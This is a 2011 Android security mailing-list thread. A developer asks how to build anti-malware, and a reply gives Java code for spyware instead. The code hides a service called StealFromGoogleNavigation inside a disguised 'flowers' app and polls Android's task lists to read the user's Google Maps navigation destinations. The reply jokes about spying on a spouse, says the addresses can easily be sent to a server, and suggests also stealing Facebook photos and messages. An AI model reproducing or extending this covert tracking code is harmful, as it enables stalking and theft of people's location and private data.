Hello Ryan,

Thank you very much for your advice,
and for the code,
and for the humor!  ("Don't let spouse buy you flowers -- it's a
front!"  Haaa! )

It is really nice of you.  Thank you!

Fal


On Sep 16, 1:00 pm, Ryan Mattison <[email protected]> wrote:
> Hey Buddy,
>
> I responded to your post in a blog style post because it is 
> cleaner.http://www.ryangmattison.com/post/2011/09/16/Monitor-Android-Navigati...
>
> Hopefully this gets you started.   I'll post the response here as
> well, but I don't think it will be readable.
>
> Monitor Android Navigation - Malware
> By Ryan Mattison16. September 2011 12:24
> There was a question on the Google discussion boards about how to
> write malware protection software for Android.  A think a good
> approach to this would be to first write some Malware polling
> functions.
>
> Post
>
> Hello everybody!
>
> I need your help, please.  Boss wants me to create an Android App for
> preventing all malware, known and unknown, from actually executing.
> So this is what I think I must do, but could you please validate?
> Thank you!:---
>
> 1.     I must create a rules set of acceptable function call flows
> which every App must conform to.  Any App that starts executing a
> strange function call sequence is considered malware and gets killed.
> Can I create this rule set with the on-device SQLite RDB?
>
> 2.     I must create a service component running in the background.
> This must periodically poll every running App and compare its function
> call flow against my rule set RDB.
>
> 3.     Can I achieve all this with just the Android SDK?  Or will I
> have to use the Android NDK as well?  I don't want to use the NDK
> unless I have to.
>
> 4.     I went through the very helpful tutorial "Understanding
> Android's Security Framework" by William Enck and Patrick McDaniel.
> Is this a new Framework introduced into the Android Libraries layer?
>
> 5.     Any good book I could buy to guide me through all this?
>
> Thank you very much.
>
> Fal
>
> Let's us assume we have a thread spinning on a separate process
> indefinitely after our "Buy Flowers" application is downloaded off the
> Market.  The information we want to monitor is Google Maps Navigation
> for Android.  Where are user's driving to & when.  Our application
> will poll every 20-30 minutes since the history stack will retain this
> information, so it doesn't matter if we catch it in action.
>
> ?
> 1
> <service android:name="com.ninja.who.StealFromGoogleNavigation"
> android:process=":UpdateFlowers" />
> I'm fairly certain in the application manager it will now have the
> flowers application open. If the user has any questions, they can
> expand it. It'll show process UpdateFlowers. They'll go on with the
> day.
>
> We start the polling, we should check if Google Maps navigation is
> running. If it is we'll return true. For this application, we are just
> going to catch it while running.
>
> private boolean IsNavigationRunning(ActivityManager as)
>     {
>
>             ActivityManager as = (ActivityManager) context
>                 .getSystemService(Activity.ACTIVITY_SERVICE);
>         List<RunningTaskInfo> rutiList = as.getRunningTasks(100);
>
>         for (RunningTaskInfo ruti : rutiList)
>         {
>             if (ruti.baseActivity
>                     .getClassName()
>                     .equalsIgnoreCase(
>
> "com.google.android.maps.driveabout.app.NavigationActivity")
>                     &&
> ruti.baseActivity.getPackageName().equalsIgnoreCase(
>                             "com.google.android.apps.maps"))
>             {
>                 return true;
>             }
>         }
>
>         return false;
>     }
> Using the ActivityManager, we looking through the running task manager
> for the Android Maps application
>
> Following this, we want to see what address they are traveling too.
> Since it is using the public intent system, this is easily traceable.
>
> private String UsersDestination(Context context, ActivityManager as)
>     {
>             ActivityManager as = (ActivityManager) context
>                 .getSystemService(Activity.ACTIVITY_SERVICE);
>         List<RecentTaskInfo> rtiList = as.getRecentTasks(1000,
>                 ActivityManager.RECENT_WITH_EXCLUDED);
>
>         for (RecentTaskInfo rti : rtiList)
>         {
>             if (rti.baseIntent != null && rti.baseIntent.getAction() !
> = null
>                     && rti.baseIntent.getComponent() != null &&
>                     rti.baseIntent.getComponent().getClassName() !=
> null &&
>
> rti.baseIntent.getAction().equals(Intent.ACTION_VIEW)
>                     && rti.baseIntent
>                             .getComponent()
>                             .getClassName()
>                             .equalsIgnoreCase(
>
> "com.google.android.maps.driveabout.app.NavigationActivity"))
>             {
>                 rti.baseIntent.getData().toString();
>                 String addressURI =
> rti.baseIntent.getData().toString();
>                 System.out.println("AddressURI: " + addressURI);
>
>                 String googleNav = "google.navigation:";
>                 String titleNav = "title=";
>                 String queryNav = "&q=";
>                 if(addressURI.contains(queryNav))
>                 {
>                     addressURI =
> addressURI.substring(addressURI.indexOf(titleNav),
> addressURI.indexOf(queryNav));
>                     addressURI =
> addressURI.substring(titleNav.length());
>                     addressURI = addressURI.replaceAll("\\+", " ");
>                 }
>                 else if(addressURI.contains(titleNav))
>                 {
>                     addressURI =
> addressURI.substring(addressURI.indexOf(titleNav));
>                     addressURI =
> addressURI.substring(titleNav.length());
>                     addressURI = addressURI.replaceAll("\\+", " ");
>                 }
>                 else if(addressURI.contains(googleNav))
>                 {
>                     addressURI =
> addressURI.substring(addressURI.indexOf(googleNav));
>                     addressURI =
> addressURI.substring(googleNav.length());
>                     addressURI = addressURI.replaceAll("\\+", " ");
>                 }
>
>                 return addressURI;
>             }
>         }
>         return "";
>     }
> This is older code, there is actually a way to print out way
> friendlier messages. I'll leave the exercise up for grabs. Very simple
> to grab the address you navigate to on your phone and send them off to
> a server. Don't let your husband buy you flowers using your phone, its
> a FRONT!
>
> To expand on this exercise, you can start stealing the Facebook Share
> Intents. Get photos, messages, updates etc. You can steal a lot more
> fun information from the Facebook application if you work at it.
>
> Thanks for reading,
>
> Ryan Mattison
>
> On Sep 15, 2:43 pm, fal <[email protected]> wrote:
>
>
>
>
>
>
>
> > Hello everybody!
>
> > I need your help, please.  Boss wants me to create an Android App for
> > preventing all malware, known and unknown, from actually executing.
> > So this is what I think I must do, but could you please validate?
> > Thank you!:---
>
> > 1.     I must create a rules set of acceptable function call flows
> > which every App must conform to.  Any App that starts executing a
> > strange function call sequence is considered malware and gets killed.
> > Can I create this rule set with the on-device SQLite RDB?
>
> > 2.     I must create a service component running in the background.
> > This must periodically poll every running App and compare its function
> > call flow against my rule set RDB.
>
> > 3.     Can I achieve all this with just the Android SDK?  Or will I
> > have to use the Android NDK as well?  I don't want to use the NDK
> > unless I have to.
>
> > 4.     I went through the very helpful tutorial "Understanding
> > Android's Security Framework" by William Enck and Patrick McDaniel.
> > Is this a new Framework introduced into the Android Libraries layer?
>
> > 5.     Any good book I could buy to guide me through all this?
>
> > Thank you very much.
>
> > Fal

-- 
You received this message because you are subscribed to the Google Groups 
"Android Security Discussions" group.
To post to this group, send email to [email protected].
To unsubscribe from this group, send email to 
[email protected].
For more options, visit this group at 
http://groups.google.com/group/android-security-discuss?hl=en.

Reply via email to